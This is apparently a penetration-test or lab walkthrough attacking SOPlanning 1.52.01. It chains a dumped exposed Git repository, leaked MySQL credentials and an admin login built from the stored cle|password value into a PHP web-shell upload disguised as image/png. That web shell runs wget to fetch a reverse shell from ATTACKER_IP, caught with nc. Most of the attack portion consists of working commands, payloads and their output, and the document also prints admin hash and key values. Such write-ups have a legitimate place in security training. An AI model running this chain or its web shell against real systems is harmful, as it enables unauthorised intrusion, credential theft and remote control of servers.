SOPlanning

SOPlanning 1.52.01 can expose a useful authenticated upload path once valid application credentials are recovered. In the observed path, exposed Git history leaked MySQL credentials, the soplanning database contained the admin user's cle and password hash, and the web login accepted the combined cle|password value before an authenticated .phtml upload produced command execution as www-data.

Discovery

Nmap showed SSH, HTTP, and MySQL:

80/tcp   open  http   Apache httpd

The HTTP scan also disclosed an exposed Git repository:

http-git:
  TARGET:80/.git/
    Git repository found!
    Last commit message: created .env to store the database configuration

If browsing by IP redirects to a hostname, add the main hostname and SOPlanning subdomain locally:

TARGET TARGET_HOST SOPLANNING_HOST

Useful web paths:

http://TARGET_HOST/
http://TARGET_HOST/login.php
http://SOPLANNING_HOST/
http://SOPLANNING_HOST/www/index.php

The SOPlanning subdomain showed:

Simple Online Planning v1.52.01

Exposed Git Credentials

Dump the exposed repository:

python3 git_dumper.py http://TARGET_HOST /tmp/target-git
cd /tmp/target-git
git log

Interesting history:

created .env to store the database configuration
removing db-config due to hard coded credentials
added the database configuration

Inspect the commit that added the database configuration:

git show 18833b811e967ab8bec631344a6809aa4af59480

Leaked database settings:

$dbHost = 'localhost';
$dbName = 'DATABASE_NAME';
$username = 'DB_USER';
$password = 'DB_PASSWORD';

SOPlanning Database Access

Connect to the exposed MySQL service with server certificate verification disabled:

mysql -u DB_USER -h TARGET -p --skip-ssl-verify-server-cert

Available databases included the SOPlanning database:

show databases;

DATABASE_NAME
information_schema
performance_schema
soplanning

Inspect SOPlanning tables:

use soplanning;
show tables;

Useful tables:

planning_config
planning_user

Useful planning_config values:

select * from planning_config\G

cle: SECURE_KEY
valeur: a5eaea3ccc1268f62d081460bb32fb67

cle: SOPLANNING_API_KEY_VALUE
valeur: 0b6038ad-d400-11ef-bf32-00505695ee43

The admin row in planning_user contained both a password hash and cle value:

select * from planning_user\G

user_id: ADM
nom: admin
login: admin
password: 77ba9273d4bcfa9387ae8652377f4c189e5a47ee
droits: ["users_manage_all", "projects_manage_all", "projectgroups_manage_all", "tasks_modify_all", "tasks_view_all_projects", "lieux_all", "ressources_all", "parameters_all", "stats_users", "stats_projects", "audit_restore", "stats_roi_projects"]
cle: dbee8fd60fd4244695084bd84a996882
google_2fa: setup
login_actif: oui

SOPlanning Login With cle|password

Capture a normal SOPlanning login request in Burp, send it to Repeater, and replace only the password value with the stored cle|password pair. The raw notes only showed the browser-field method, not the full HTTP request.

Working browser values:

Username: admin
Password: dbee8fd60fd4244695084bd84a996882|77ba9273d4bcfa9387ae8652377f4c189e5a47ee

The same value should be placed in the password parameter of the captured authentication request:

password=dbee8fd60fd4244695084bd84a996882|77ba9273d4bcfa9387ae8652377f4c189e5a47ee

Authenticated Upload RCE

After authenticating, browse to the planning page and create a task with an attached file:

http://SOPLANNING_HOST/www/planning.php

The upload request goes to:

POST /www/process/upload.php

Upload a PHP command shell with a PHP-executed extension:

<?php system($_GET['cmd']); ?>

The successful upload used p.phtml with Content-Type: image/png and returned:

File 'p.phtml' was added to the task !

The uploaded shell executed under /www/upload/files/<linkid>/:

curl 'http://SOPLANNING_HOST/www/upload/files/16018867796a17800f9ded1/p.phtml?cmd=id'

Successful execution:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell

If direct callbacks fail, test outbound ports and host the payload on a port that can be reached. In the observed path, hosting files on 3306 and catching the reverse shell on 80 worked:

python3 -m http.server 3306
nc -nlvp 80

Fetch a PHP reverse shell into the upload directory through the web shell:

curl 'http://SOPLANNING_HOST/www/upload/files/16018867796a17800f9ded1/p.phtml?cmd=wget+http://ATTACKER_IP:3306/php-reverse-shell.php'

Trigger it:

http://SOPLANNING_HOST/www/upload/files/16018867796a17800f9ded1/php-reverse-shell.php

Successful shell context:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT
uid=33(www-data) gid=33(www-data) groups=33(www-data)